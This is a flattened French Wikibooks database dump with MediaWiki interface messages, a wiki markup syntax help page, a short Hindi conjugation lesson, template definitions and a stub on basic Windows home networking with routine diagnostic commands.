MediaWiki default Pour avoir la permission de créer un compte sur ce Wiki vous devez être [[Special:Userlogin|connecté]] et avoir les permissions appropriées MediaWiki:Whitelistacctitle 2094 sysop 13731 2005-06-25T11:04:05Z MediaWiki default Vous n'êtes pas autorisé à créer un compte MediaWiki:Whitelistedittext 2095 sysop 47111 2006-07-01T18:48:51Z MediaWiki default Vous devez être [[Special:Userlogin|connecté]] pour avoir la permission de rédiger MediaWiki:Whitelistedittitle 2096 sysop 13733 2005-06-25T11:04:05Z MediaWiki default Login requis pour rédiger MediaWiki:Whitelistreadtext 2097 sysop 47112 2006-07-01T18:48:51Z MediaWiki default Vous devez être [[Special:Userlogin|connecté]] pour avoir la permission de lire les articles MediaWiki:Whitelistreadtitle 2098 sysop 47113 2006-07-01T18:48:51Z MediaWiki default Compte requis pour lire MediaWiki:Wikipediapage 2099 sysop 13736 2005-06-25T11:04:05Z MediaWiki default Page méta MediaWiki:Wikititlesuffix 2100 sysop 13737 2005-06-25T11:04:05Z MediaWiki default {{SITENAME}} MediaWiki:Wlnote 2101 sysop 19591 2005-08-19T23:11:37Z MediaWiki default Ci-dessous se trouvent les $1 dernières modifications depuis les <b>$2</b> dernières heures. MediaWiki:Wlsaved 2102 sysop 13739 2005-06-25T11:04:05Z MediaWiki default La liste de suivi n'est remise à jour qu'une fois par heure pour alléger la charge sur le serveur. MediaWiki:Wlshowlast 2103 sysop 13740 2005-06-25T11:04:05Z MediaWiki default Montrer les dernières $1 heures $2 jours $3 MediaWiki:Wrong wfQuery params 2104 sysop 16016 2005-07-03T11:17:11Z MediaWiki default Paramètres incorrects sur la commande wfQuery()<br /> Fonction : $1<br /> Requête : $2 MediaWiki:Wrongpassword 2105 sysop 13742 2005-06-25T11:04:05Z MediaWiki default Le mot de passe est incorrect. Essayez à nouveau. MediaWiki:Yourdiff 2106 sysop 13743 2005-06-25T11:04:05Z MediaWiki default Différences MediaWiki:Youremail 2107 sysop 13744 2005-06-25T11:04:05Z MediaWiki default Mon adresse électronique MediaWiki:Yourlanguage 2108 sysop 19592 2005-08-19T23:11:37Z MediaWiki default Langue de l'interface MediaWiki:Yourname 2109 sysop 13746 2005-06-25T11:04:05Z MediaWiki default Votre nom d'utilisateur MediaWiki:Yournick 2110 sysop 47124 2006-07-01T18:48:51Z MediaWiki default Pseudonyme : MediaWiki:Yourpassword 2111 sysop 13748 2005-06-25T11:04:05Z MediaWiki default Votre mot de passe MediaWiki:Yourpasswordagain 2112 sysop 13749 2005-06-25T11:04:05Z MediaWiki default Entrez à nouveau votre mot de passe MediaWiki:Yourrealname 2113 sysop 19593 2005-08-19T23:11:37Z MediaWiki default Votre nom réel* MediaWiki:Yourtext 2114 sysop 13751 2005-06-25T11:04:05Z MediaWiki default Votre texte MediaWiki:Yourvariant 2115 sysop 47125 2006-07-01T18:48:51Z MediaWiki default Variante Wikilivres:Syntaxe 2118 32481 2006-02-11T23:01:47Z Djiboun 763 [[Catégorie:Wikilivres:Aide|Syntaxe Wikilivre]] Pour mettre en forme vos articles, Wikilivres permet d'introduire certains codes&nbsp;; les plus courants sont : {| align="center" border="1" cellpadding="5px" !Résultat !Syntaxe wikilivres |- |''texte en italique'' |<nowiki>''texte en italique''</nowiki> (apostrophes et non guillemets) |- | '''texte en gras''' ||<nowiki>'''texte en gras'''</nowiki> |- |<ul><li>liste</li><li>à</li><li>puce</li></ul> |<nowiki>*</nowiki>liste<br/><nowiki>*</nowiki>à<br/><nowiki>*</nowiki>puce |- |<ol><li>liste</li><li>numérotée</li></ol> |<nowiki>#</nowiki>liste<br/><nowiki>#</nowiki>numérotée |- |<h2>Titre de section</h2> |<nowiki> ==Titre de section== </nowiki> |- |<h3>Titre de sous-section</h3> |<nowiki>===Titre de sous-section===</nowiki> |} Cet article vous présente la ''syntaxe propre à wikipédia''. Il résume sous la forme de tableaux les différentes mises en forme possibles. La colonne de droite indique les codes à saisir, et celle de gauche l'effet obtenu. Vous pouvez effectuer vos tests sur le [[Wikipédia:Bac à sable|Bac à sable]] qui est réservé à cet usage. == Table des matières == Une table des matières est créée automatiquement si l'article comporte plus de 3 titres ou sous-titres (au moins 4). Pour supprimer le sommaire automatique, il suffit de mettre quelque part <nowiki>__NOTOC__</nowiki>. Pour modifier l'emplacement de la table des matières : placer <nowiki>__NOTOC__</nowiki> en haut de la page, puis insérer <nowiki>__TOC__</nowiki> là où vous désirez voir apparaître la table. == Sections, paragraphes, listes et lignes == {| border="1" |----- | Pour les titres : <br/><br/> == Nouvelle section == === Nouvelle sous-section === ==== Nouveau paragraphe ==== Les notations ci-contre sont respectivement équivalentes à l'utilisation des balises html &lt;h2&gt;...&lt;/h2&gt;, &lt;h3&gt;...&lt;/h3&gt; et &lt;h4&gt;...&lt;/h4&gt;. | <tt> <nowiki>== Nouvelle section ==</nowiki><br/> <nowiki>=== Nouvelle sous-section ===</nowiki><br/> <nowiki>==== Nouveau paragraphe ====</nowiki></tt> |----- | Un simple saut à la ligne n'a aucun effet. <br/><br/> Mais une ligne vide permet de séparer les paragraphes. | <pre>Un simple saut à la ligne n'a aucun effet. Mais une ligne vide permet de séparer les paragraphes.</pre> |----- valign="top" | Voilà comment il faut faire<br/> pour aller à la ligne. | <pre>Voilà comment il faut faire<br /> pour aller à la ligne.</pre> |----- | * Les listes sont bien pratiques : ** Elles permettent d'organiser les données ** Elles embellissent le document | <pre>* Les listes sont bien pratiques :</pre> <pre>** Elles permettent d'organiser les données</pre> <pre>** Elles embellissent le document</pre> |----- | # Les listes numérotées sont également bien pratiques # Bien organisées ## Faciles à lire | <pre># Les listes numérotées sont également bien pratiques</pre> <pre># Bien organisées</pre> <pre>## Faciles à lire</pre> |----- | :Les lignes peuvent être ::indentées :::sur plusieurs niveaux | <pre>:Les lignes peuvent être</pre> <pre>::indentées</pre> <pre>:::sur plusieurs niveaux</pre> |----- | Avec tout cela, il est maintenant possible de mélanger les types de listes : *Une liste numérotée : :#Premier élément :#Second élément *d'autres branches à l'arborescence | <pre> *Une liste numérotée : :#Premier élément :#Second élément *d'autres branches à l'arborescence </pre> |----- | ; Listes de définitions : listes contenant des définitions ; Terme à expliquer : explication du terme | <pre>; Listes de définitions : listes contenant des définitions</pre> <pre>; Terme à expliquer : explication du terme</pre> |----- | En utilisant des balises (''tags'') HTML c'est plus beau (mais c'est plus difficile à mémoriser) : <ul> <li>Une liste numérotée : <ol> <li>Premier élément <li>Second élément </ol> <li>d'autres branches à l'arborescence </ul> ''Petit truc mnémotechnique :'' *'' ol = Liste Ordonnée (c'est à dire numérotée - Ordered List en anglais)''&nbsp;; *'' ul = Liste "Unordonnée" (Unordered List en anglais) ou plus prosaïquement liste à puces''&nbsp;; *'' li = élément d'une liste (List Item en anglais). | <pre>&lt;ul&gt;</pre> <pre> &lt;li&gt;Une liste numérotée :</pre> <pre> &lt;ol&gt;</pre> <pre> &lt;li&gt;Premier élément</pre> <pre> &lt;li&gt;Second élément</pre> <pre> &lt;/ol&gt;</pre> <pre> &lt;li&gt;d'autres branches à l'arborescence</pre> <pre>&lt;/ul&gt;</pre> |----- valign="top" | SI (une ligne commence par une espace) ALORS elle apparaîtra exactement telle qu'elle a été saisie&nbsp;; dans une police non proportionnelle&nbsp;; les sauts de ligne ne seront pas automatiques&nbsp;; FIN SI C'est bien utile pour : • copier/coller un texte pré-formaté&nbsp;; • des descriptions d'algorithmes&nbsp;; | <pre> SI (une ligne commence par une espace) ALORS elle apparaîtra exactement telle qu'elle a été saisie; dans une police non proportionnelle; les sauts de ligne ne seront pas automatiques ; FIN SI C'est bien utile pour : &amp;bull; copier/coller un texte pré-formaté ; <br/><br/> &amp;bull; des descriptions d'algorithmes ;</pre> |----- valign="top" | <center>Le texte peut être centré.</center> | <pre>&lt;center&gt;Le texte peut être centré.&lt;/center&gt;</pre> |----- | Une ligne horizontale : au-dessus ---- et en-dessous. | <pre>Une ligne horizontale : au-dessus</pre> <pre>----</pre> <pre>et en-dessous.</pre> |} == Liens, adresses internet et images == {| border="1" |----- | colspan="2" | === Les liens === |----- valign="top" | Lien vers [[Accueil]].<br/> La première lettre apparaît automatiquement en [[majuscule]].<br/> Les espaces sont convertis en 'underscores'.<br/> Pour créer une nouvelle page, créez d'abord un lien vers cette page, puis cliquez sur le lien en rouge qui apparaît. | <pre>Lien vers [[Accueil]].</pre> |----- valign="top" | Le même lien, mais avec un nom différent : [[Accueil|page d'accueil]].<br/> Les liens ne peuvent contenir que des lettres et des espaces ! | <pre>Le même lien, mais avec un nom différent : [[Accueil|page d'accueil]]</pre>; |----- valign="top" | [[La sexualité des mouches dans le Vercors oriental]] est une page qui n'existe pas encore.<br/> Vous pouvez la créer en cliquant simplement sur le lien.<br/> Après l'avoir créée, faites une recherche sur son titre, et assurez-vous que les autres articles y font correctement référence. | <tt><nowiki>[[La sexualité des mouches dans le Vercors oriental]]</nowiki> est une page qui n'existe pas encore.</tt> |----- valign="top" | Pour les pages d'[[Wikipédia:Homonymie|homonymie]], il existe un raccourci pour cacher le domaine :<br/> la planète [[Jupiter (planète)|Jupiter]] | <tt><nowiki>la planète [[Jupiter (planète)|Jupiter]]</nowiki></tt> |----- valign="top" | Pour référencer les pages utilisateur, il existe un raccourci pour éviter de taper deux fois le nom : [[Utilisateur:Dupont|Dupont]] est équivalent à [[Utilisateur:Dupont|Dupont]] | <tt><nowiki>[[Utilisateur:Dupont|]] est équivalent à [[Utilisateur:Dupont|Dupont]]</nowiki></tt> |----- valign="top" | Lien vers les commentaires associés à cette page ou à une page du domaine Wikipédia : [[Discussion Wikipédia:Comment modifier une page]]<br/> Lien vers une discussion d'une page normale du Wikipédia [[Discuter:Accueil]]<br/> | <tt>Lien vers les commentaires associés à cette page ou a une page du domaine Wikipédia : <nowiki>[[Discussion_Wikipédia:Comment modifier une page]]</nowiki><br/> Lien vers une discussion d'une page normale du Wikipédia <nowiki>[[Discuter:Accueil]]</nowiki></tt><br/> |----- valign="top" | [[Wikipédia:Redirection|Redirection]] d'une page vers une autre en mettant ce texte dans la première ligne. | <pre>#REDIRECT [[France]]</pre> |----- valign="top" | Il existe une notation pour référencer une page sur un Wikipédia dans une autre langue : [[:en:Wikilivres:How to edit a page]] <br/><br/> On peut ici aussi utiliser la barre verticale pour afficher un texte différent du titre de l'article pointé : [[:en:Wikilivres:How to edit a page|Cette page en anglais]] <br/><br/> Attention, ici la barre verticale seule en fin de lien ne permet pas de réduire le texte affiché au strict nécessaire : [[:en:Wikilivres:How to edit a page|en:Wikilivres:How to edit a page]] | <tt><nowiki>[[:en:Wikilivres:How to edit a page]]</nowiki> <br/><br/> <nowiki>[[:en:Wikilivres:How to edit a page|Cette page en anglais]]</nowiki> <br/><br/> <nowiki>[[:en:Wikilivres:How to edit a page|]]</nowiki> </tt> |----- valign="top" | Pour référencer un mot sur [[Wiktionary]] : [[wikt:Mot]] <br/><br/> On peut ici aussi utiliser la barre verticale pour afficher un texte différent du titre de l'article pointé : [[wikt:Mot|Mot]] ou directement [[wikt:Mot|Mot]] <br/><br/> On peut aussi référencer un mot sur un wiktionary dans une autre langue: [[wikt:en:Word]] ou [[Wikt:en:Word|Word]] | <tt><nowiki>[[wikt:Mot]]</nowiki> <br/><br/> <nowiki>[[wikt:Mot|Mot]]</nowiki> ou directement <nowiki>[[wikt:Mot|]]</nowiki> <br/><br/> <nowiki>[[wikt:en:Word]]</nowiki> ou <nowiki>[[wikt:en:Word|Word]]</nowiki> </tt> |----- | colspan="2" | === Les liens internes, les ancres === |----- valign="top" | Les ancres : <font id="ancre_1">ancre 1.</font> <font id="ancre_2">ancre 2.</font> Ces deux lignes sont des ancres vers lesquelles des liens internes à cette pages peuvent pointer. Des liens de pages externes aussi, d'ailleurs. | <pre><nowiki><font id="ancre_1">ancre 1.</font> <font id="ancre_2">ancre 2.</font></nowiki></pre> remarquer que la balise <nowiki><font></nowiki> n'est effectivement pas censée avoir d'effet de mise en forme. Elle n'est là que parce qu'il est nécessaire d'utiliser une balise HTML afin d'y placer un paramètre ''id'' qui indique le nom de l'ancre. Ça devrait pouvoir être n'importe quelle balise HTML que le wiki reconnaît. |----- valign="top" | Les liens vers des ancres externes sont des liens normaux qui pointent vers une ancre de la page vers laquelle ils dirigent. [[Wikilivres:Syntaxe wikipédia/Lien ancré#ancre_1|lien]] vers l'ancre 1 externe. [[Wikilivres:Syntaxe wikipédia/Lien ancré#ancre_2|lien]] vers l'ancre 2 externe. Ces deux ancres se trouvent sur la [[Wikilivres:Syntaxe wikilivres/Lien ancré|page d'explication des liens ancrés]]. | <pre><nowiki>[[Wikilivres:Syntaxe wikilivres/Lien ancré#ancre_1|lien]] vers l'ancre 1 externe. [[Wikilivres:Syntaxe wikilivres/Lien ancré#ancre_2|lien]] vers l'ancre 2 externe.</nowiki></pre> On crée un lien normalement, en ajoutant un dièse (#) suivi du nom de l'ancre vers laquelle le lien pointe à la fin du nom de la page pointée. |----- valign="top" | Les liens internes sont des liens normaux qui pointent vers des ancres de la page courante : [[#ancre_1|lien vers l'ancre 1]]. [[#ancre_2|lien vers l'ancre 2]]. | <pre><nowiki>[[#ancre_1|lien vers l'ancre 1]]. [[#ancre_2|lien vers l'ancre 2]].</nowiki></pre> Le nom de la page courante est toutefois implicite. |----- | colspan="2" | === Les adresses internet === |----- valign="top" | Lien externe : [http://www.nupedia.com Nupedia] | <pre>Lien externe : [http://www.nupedia.com Nupedia]</pre> |----- valign="top" | Mais l'adresse internet suffit : http://www.nupedia.com.<br/> (Bien pratique si on veut imprimer la page.) | <pre>Mais l'adresse internet suffit : http://www.nupedia.com.</pre> |----- | Il existe toute une liste de ''préfixes'' utilisables ainsi: <nowiki>[[prefixe:valeur]]</nowiki>.<br/>Une liste complète est disponible sur [[m:Interwiki map]] (en anglais) | Exemple: <nowiki>[[google:Wikipédia]]</nowiki> donne [[google:Wikipédia|ceci]] |----- | colspan="2" | === Les images === |----- valign="top" | '''Insérer une image :''' [[Image:wiki-exemple.png]]<br/> Pour ajouter une image, vous devez d'abord la copier sur le serveur, ce qui suppose de vous connecter comme utilisateur identifié, vous pouvez alors accéder à la page de copie sur le serveur : http://fr.wikipedia.org/wiki/Special:Upload<br/> <br/> Il faut ensuite placer le lien de l'image dans votre article.<br/> NE FAITES PAS de liens externes vers des fichiers se trouvant sur un serveur dont vous ne contrôlez pas le contenu ! Pour l'accessibilité des mal-voyants, il est conseillé d'ajouter le "nom de l'image", ceci permet au lecteur vocal ou à la tablette braille de fournir un descriptif parlant, là où il y a une image. Voir [[w:Wikipédia:Règles d'utilisation des images]] pour de plus amples informations à ce sujet. | <pre><nowiki>[[Image:wiki-exemple.png]]</nowiki></pre> ou <br/> <pre><nowiki>[[Image:wiki-exemple.png|nom de l'image]]</nowiki></pre> |----- | '''Faire "flotter" une image'''<br/><br/> [[Image:wiki-exemple.png|left]] Quand une image n'occupe pas la largeur de la page, il peut être agréable de la placer à gauche et que le texte s'écrive le long de celle-ci du côté droit.<br/> Pour cela, il vous suffit de recopier le code ci-contre à l'endroit où vous souhaitez voir l'image et de remplacer les parties en italique par le lien vers l'image et par la légende de l'image.<br/><br/> Si vous souhaitez placer l'image du côté droit, remplacer ''left'' par ''right''<br/> | <tt><nowiki>[[</nowiki>Image:<i>nom-image.png</i>|left|<i>Légende</i>]]<br/> Quand une image n'occupe pas la largeur de la page ... </tt> |----- | '''Faire "flotter" plusieurs images'''<br/> [[Image:Icon_no.png|left]][[Image: Icon_yes.png|left]]Plusieurs images qui "flottent" à la suite elles se positionnent les unes à coté des autres. <div style="float:right;padding:15px">[[Image:Icon_no.png]]<br/>[[Image: Icon_yes.png]]</div>Il est possible de forcer l'affichage d'images les unes en dessous des autres. Pour un meilleur rendu, cette astuce est à utiliser avec des images qui font la même largeur (voir ci dessous "Syntaxe étendue pour les images" pour imposer la taille des images). | <nowiki>[[Image:Icon_no.png|left]][[Image:Icon_yes.png|left]]</nowiki> Pour faire flotter un à coté de l'autre. <nowiki><div style="float:right;">[[Image:Icon_no.png]]<br/>[[Image: Icon_yes.png]]</div></nowiki> Pour faire flotter l'un en dessous de l'autre. |----- | colspan="2" | === Syntaxe étendue pour les images === |----- valign="top" | Une syntaxe étendue permet de contrôler la taille et la position des images:<br/> Les options disponibles sont les suivantes (si plusieurs options sont présentes, elles doivent être séparées par un signe <tt>|</tt>; il faut un <tt>|</tt> après la dernière option même si il n'y a pas de légende):<br/> *<tt>thumb</tt> ou <tt>thumbnail</tt> :permet de générer automatiquement une version réduite de l'image, dans un cadre. Par défaut, l'image sera alignée à droite. La légende, si présente, sera placée en dessous de l'image; une "icône loupe" placé à droite permet d'accéder à l'image en grandeur réelle. *<tt>framed</tt> :l'image est placée dans un cadre, comme avec l'option <tt>thumb</tt>, et accepte donc une légende mais n'est disponible que dans sa taille normale et l'"icône loupe" est donc absente. *<tt>right</tt> :permet d'aligner l'image à droite. Peut s'utiliser avec ou sans l'option <tt>thumb</tt>. *<tt>center</tt> :permet de centrer l'image. Peut s'utiliser avec ou sans l'option <tt>thumb</tt>. *<tt>left</tt> :permet d'aligner l'image à gauche. Peut s'utiliser avec ou sans l'option <tt>thumb</tt>. *<tt>none</tt> :permet de supprimer l'alignement par defaut. Cette option est surtout utile pour les images insérées dans un tableau. *<tt>''largeur'' px</tt> :permet de specifier la largeur de la version réduite. L'image affichée gardera le même aspect que l'image grandeur réelle. | <tt><nowiki>[[</nowiki>Image:''nom de l'image''|''options''|''légende'']] |} == Mise en forme des caractères == {| border="1" |----- valign="top" | ''Faire ressortir un mot'', '''un peu plus''', '''''encore plus'''''.<br/> À utiliser également dans les formules : '''F''' = ''m'' '''a'''. | <pre>''Faire ressortir un mot'', '''un peu plus''', '''''encore plus'''''. '''F''' = ''m'' '''a'''.</pre> |----- | <font size="+1" color="red">Polices amusantes</font><br/> Mais <code>== ... ==</code> est plus approprié pour séparer des sections. | <pre>&lt;font size="+2" color="red"&gt;Polices amusantes&lt;/font&gt;</pre> |----- valign="top" | Police machine à écrire pour les <tt>termes techniques</tt>. | <pre>&lt;tt&gt;termes techniques&lt;/tt&gt;</pre> |----- valign="top" | Vous pouvez <strike>barrer</strike> certains mots<br/> et <u>en souligner d'autres...</u>. Pratique ... | <pre>Vous pouvez &lt;strike&gt;barrer&lt;/strike&gt; certains mots et &lt;u&gt;en souligner d'autres...&lt;/u&gt;</pre> |----- valign="top" | Umlauts et accents : (cf [[Wikilivres:Caractères spéciaux]] et [http://www.wikipedia.org/wiki/Wikipedia:Special_Characters Wiki special characters] (en anglais)<br/> À Á Â Ã Ä Å Æ <br/> Ç È É Ê Ë Ì Í <br/> Î Ï Ñ Ò Ó Ô Õ Œ<br/> Ö Ø Ù Ú Û Ü ß <br/> à á â ã ä å æ <br/> ç è é ê ë ì í <br/> î ï ñ ò ó ô õ œ<br/> ö ø ù ú û ü ÿ<br/> Note : depuis le passage à l'[[unicode]] on peut aussi parfaitement écrire les caractères spéciaux directement sans aucun souci. | <pre> &amp;Agrave; &amp;Aacute; &amp;Acirc; &amp;Atilde; &amp;Auml; &amp;Aring; &amp;AElig; &amp;Ccedil; &amp;Egrave; &amp;Eacute; &amp;Ecirc; &amp;Euml; &amp;Igrave; &amp;Iacute; &amp;Icirc; &amp;Iuml; &amp;Ntilde; &amp;Ograve; &amp;Oacute; &amp;Ocirc; &amp;Otilde; &amp;OElig; &amp;Ouml; &amp;Oslash; &amp;Ugrave; &amp;Uacute; &amp;Ucirc; &amp;Uuml; &amp;szlig; &amp;agrave; &amp;aacute; &amp;acirc; &amp;atilde; &amp;auml; &amp;aring; &amp;aelig; &amp;ccedil; &amp;egrave; &amp;eacute; &amp;ecirc; &amp;euml; &amp;igrave; &amp;iacute; &amp;icirc; &amp;iuml; &amp;ntilde; &amp;ograve; &amp;oacute; &amp;ocirc; &amp;otilde; &amp;oelig; &amp;ouml; &amp;oslash; &amp;ugrave; &amp;uacute; &amp;ucirc; &amp;uuml; &amp;yuml;</pre> |----- valign="top" | Ponctuations : ¿ ¡ « » § ¶<br/> † ‡ • | <pre>&amp;iquest; &amp;iexcl; &amp;laquo; &amp;raquo; &amp;sect; &amp;para; &amp;dagger; &amp;Dagger; &amp;bull; </pre> |----- valign="top" | Caractères spéciaux : ™ © ® ¢ € ¥ £ ¤ | <pre>&amp;trade; &amp;copy; &amp;reg; &amp;cent; &amp;euro; &amp;yen; &amp;pound; &amp;curren; </pre> |----- valign="top" | Indice (subscript en anglais) : x<sub>2</sub> et<br/> Exposant (superscript en anglais) : x<sup>2</sup> | <pre>Indice : x&lt;sub&gt;2&lt;/sub&gt; et Exposant : x&lt;sup&gt;2&lt;/sup&gt;</pre> |----- valign="top" | Caractères grecs : α β γ δ ε ζ η<br/> θ ι κ λ μ ν ξ <br/> π ρ σ ς τ υ φ<br/> χ ψ ω <br/> Γ Δ Θ Λ Ξ Π Σ <br/> Φ Ψ Ω | <pre>&amp;alpha; &amp;beta; &amp;gamma; &amp;delta; &amp;epsilon; &amp;zeta; &amp;eta; &amp;theta; &amp;iota; &amp;kappa; &amp;lambda; &amp;mu; &amp;nu; &amp;xi; &amp;pi; &amp;rho; &amp;sigma; &amp;sigmaf; &amp;tau; &amp;upsilon; &amp;phi; &amp;chi; &amp;psi; &amp;omega; &amp;Gamma; &amp;Delta; &amp;Theta; &amp;Lambda; &amp;Xi; &amp;Pi; &amp;Sigma; &amp;Phi; &amp;Psi; &amp;Omega; </pre> |----- valign="top" | Caractères mathématiques : (cf. [[Wikilivres:Caractères spéciaux]] et [http://www.wikipedia.org/wiki/Wiki_Special_Characters Wiki special characters] (en anglais)) <br/> ∫ ∑ ∏ √ ± ∞ <br/> ≈ ∝ ≡ ≠ ≤ ≥ → <br/> × · ÷ ∂ ′ ″ ∇ <br/> ‰ ° ∴ ℵ<br/> ø ∈ ∋ ∩ ∪ ⊂ ⊃ ⊆ ⊇<br/> ¬ ∧ ∨ ∃ ∀ ⇒ ⇔ | valign="middle" | <pre>&amp;int; &amp;sum; &amp;prod; &amp;radic; &amp;plusmn; &amp;infin; &amp;asymp; &amp;prop; &amp;equiv; &amp;ne; &amp;le; &amp;ge; &amp;rarr; &amp;times; &amp;middot; &amp;divide; &amp;part; &amp;prime; &amp;Prime; &amp;nabla; &amp;permil; &amp;deg; &amp;there4; &amp;alefsym; &amp;oslash; &amp;isin; &amp;ni; &amp;cap; &amp;cup; &amp;sub; &amp;sup; &amp;sube; &amp;supe; &amp;not; &amp;and; &amp;or; &amp;exist; &amp;forall; &amp;rArr; &amp;hArr;</pre> |----- valign="top" | Plus d'espace que d'habitude, sans saut de ligne : x<sup>2</sup>&nbsp;&nbsp;&nbsp;≥&nbsp;&nbsp;&nbsp;0 est vrai.<br/> Utile pour les formules. | <pre>;x<sup>2</sup>&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;ge;&amp;nbsp;&amp;nbsp;&amp;nbsp;0 </pre> |----- | ASCII art (Commencer chaque ligne par un blanc) :<br/> ∞ -x<sup>2</sup> ∫ e dx = √π -∞ Malgré tout, la racine carrée est très moche. | <pre> &amp;infin; -x<sup>2</sup> &amp;int; e dx = &amp;radic;&amp;pi; -&amp;infin;</pre> |----- | Formules mathématiques compliquées :<br/> &nbsp;&nbsp;<math>\sum_{n=0}^\infty \frac{x^n}{n!}</math> * Voir [[Wikipédia:Formules TeX]] | <pre><nowiki> <math>\sum_{n=0}^\infty \frac{x^n}{n!}</math> </nowiki></pre> |----- | Suppression de l'interprétation du ''markup'' :<br/> <nowiki>Lien → (<i>vers</i>) la [[Wikipédia:FAQ]]</nowiki> * Est utilisé pour montrer littéralement des données qui autrement auraient une signification spéciale. * Tous les ''markup'' wiki sont ignorés, y compris ceux ressemblant à des tags HTML. * Les caractères HTML spéciaux sont toujours interprétés. | <pre><nowiki><nowiki>Lien → (<i>vers</i>) la [[Wikipédia:FAQ]]</nowiki></nowiki></pre> |} == Tableaux == Le logiciel permet d'utiliser: # la syntaxe "Wiki" expliquée dans la [[w:fr:Aide:Syntaxe wikipédia/tableaux|sous-page de la syntaxe des tableaux dans la Wikipédia]]; # la syntaxe "classique" utilisant le [[Hypertext markup language|HTML]] mais dont l'usage est déprécié. {| border="1" |+ Un exemple de tableau |- ! Premier en-tête ! Deuxième en-tête ! Troisième en-tête |- | Haut gauche || Haut milieu || rowspan="2" | Côté droit |- | Bas gauche || Bas milieu |- | colspan="3" align="center" | ligne du bas |} '''Voir également''' [[meta:Wikipedia_DTD]], le [[w:fr:Aide:Guide d'utilisation des tableaux|guide d'utilisation des tableaux (Wikipédia)]] et [[Wikilivres:Modèles]] == Commentaire == Attention, les commentaires dans les articles sont '''strictement''' réservés à la maintenance de la page. Les commentaires sur le contenu de l'article sont à mettre dans la page discussion attachée à l'article en question. <nowiki><!-- Note : Cette page est en cours de rédaction, veuillez patienter avant de l'éditer. --></nowiki> == Identification dans les pages de discussion == {| border="1" |----- | Seulement le pseudonyme:<br/> [[Utilisateur:Aoineko|Aoineko]] | <nowiki>~~~ (3 tildes)</nowiki> |----- | Pseudonyme et date:<br/> [[Utilisateur:Aoineko|Aoineko]] 03:17 Nov 8, 2002 (CET) | <nowiki>~~~~ (4 tildes)</nowiki> |----- | Date:<br/> 03:17 Nov 8, 2002 (CET) | <nowiki>~~~~~ (5 tildes)</nowiki> |} == Catégories == Pour la syntaxe propre à l'utilisation des catégories, voir l'article [[Wikilivres:Catégorie]] {{Contribuer}} Catégorie:Bricolage 2120 13755 2004-12-22T14:48:05Z 82.66.239.88 Page principale : [[Bricolage]] Présent (conjugaison hindi) 2122 13757 2004-12-23T14:26:43Z 80.8.201.16 En Hindi, il y a deux types de présents. 1) Le présent général : - Emploi : Il est utilisé pour exprimer des actions habituelles qui ne sont pas représentées dans leurs détails. Ex : ve pairis me rathi hai "elles habitent à paris". - Formation : Il se forme avec le participe imperfectif et l'auxiliaire être au présent. - Le participe imperfectif : Il se forme en enlevant la terminaison -na de l'infinitif pour obtenir un radical ( ex : "parler" : bolna , radical : bol ) auquel on ajoute soit : - ta ( masc. sing ) -te ( masc. plur ) - ti ( fém. sing. et plur. ) Ex : bolta / bolti / bolte. - Etre au présent Mai hu. Tum* ho. Vo hai. Ham hai. Ap hai. Ve hai. *Tum est toujours pluriel comme l'anglais you. - Conjugaison du présent général : Mai bolta / bolti hu. Tum bolte / bolti ho. Vo bolta / bolti hai. Ham bolte / bolti hai. Ap bolte / bolti hai. Ve bolte / bolti hai. Modèle:Définition 2127 30046 2006-01-24T10:13:37Z Boly38 136 [[Modèle:Definition1]] déplacé vers [[Modèle:Définition]]: bon fançais :) {| style="border:1px solid #996600;" cellspacing="0" cellpadding="0" width="70%"| |+ |bgcolor="#ECE5CA"| <h4>Définition</h4> |- |bgcolor="#FAF9EC"| {{{définition}}} |} Modèle:Definition 2128 30052 2006-01-24T10:28:24Z Boly38 136 màj redirect #REDIRECT [[Modèle:Définition]] Réseau sous Windows 2130 46503 2006-06-29T14:27:36Z 129.194.8.73 /* Schéma du cable croisé */ cote ? ("d'une cotte" ?) {{ébauche}}<br /> ==Connexion PC à PC (réseau direct)== C'est le réseau le plus simple : vous aurez juste besoin de deux ordinateurs équipés d'une carte réseau ethernet et d'un câble RJ45 croisé. (''image connecteur RJ45X à insérer'') Cette méthode ne peut que relier deux ordinateurs entre eux (le câble n'a que deux extrémités !).<br /> Mise en place: Vous devez brancher les deux ordinateurs ensemble avec le câble puis paramétrer les IPs : *Sous Windows XP : <code>DEMARRER>Paramètres>Connexions réseau</code><br />puis cliquez droit sur votre carte réseau (Connexion au réseau local) : propriétés.<br /> <br /> <center> <!-- Image --> </center><br /> *Sous Windows 98 :<br /> <code>DEMARRER>Paramètre>Panneau de configuration>Réseau</code>. Afficher les paramètres tcp/ip de la carte. Vous devez entrer des ip de même classe (généralement 192.168.0.x pour les réseaux domestiques) et le masque de sous-réseau (la passerelle par défaut sert pour passer "à travers" un PC pour utilisé une connexion à Internet par exemple) : *ordi1 : IP : 192.168.0.1 Masque de sous-réseau : 255.255.255.0 Passerelle par defaut : (rien) *ordi2 : IP : 192.168.0.2 Masque de sous-réseau : 255.255.255.0 Passerelle par defaut : 192.168.0.1 (IP de l'ordi1) Les valeurs sont toutes comprises entre 0 et 255. Mais certaines sont réservées ! Comme 192.168.0.0 et 192.168.0.255. Pour partager la connexion Internet avec le deuxième ordinateur, cliquez droit sur votre connexion internet puis, dans avancé, cocher « autoriser les utilisateurs du réseau à se connecter à internet en utilisant la connexion de cet ordinateur ». Sur le deuxième ordinateur choisissez <code>option internet>connexion>configuration>se connecter à internet à partir d'un réseau LAN>detecter les parametres réseau</code>. == Quelques commandes utiles pour l'administration == <code>Ipconfig</code> : Permet de connaitre les parametres réseaux, plusieurs commutateurs sont disponile comme par exemple <code>ipconfig /all</code> qui permet de voir l'ensemble des parametres (taper <code>ipconfig /?</code> pour connaître les autres commutateurs. <code>nbtstat</code> : Affiche les statistiques, taper <code>nbtstat /?<code> pour connaître les commutateurs disponibles <code>netstat<code> : affiche les connexions actives. <code>ping</code> : [Packet INternet Groper] permet de verifier que l'on peut atteindre une adresse IP (sites, routeur, etc), et pour faire plus simple de voir si l'on peut acceder au Reseau. La commande type est celle ci : ping 66.249.85.104 si on est connecté et que l'on peut sortir sur le net par exemple, on aura une reponse type : Envoi d'une requête 'ping' sur www.google.fr [66.249.85.104] avec 32 octets de données: * Réponse de 66.249.85.104: octets=32 temps=47 ms TTL=241 * Réponse de 66.249.85.104: octets=32 temps=89 ms TTL=241 * Réponse de 66.249.85.104: octets=32 temps=19 ms TTL=241 * Réponse de 66.249.85.104: octets=32 temps=18 ms TTL=241 <i>noter que la commande ping 66.249.85.104 = ping www.google.fr</i> Si vous avez un message de type : * delais d'attente de la demande depassée * Statistique pour ping 66.249.85.104 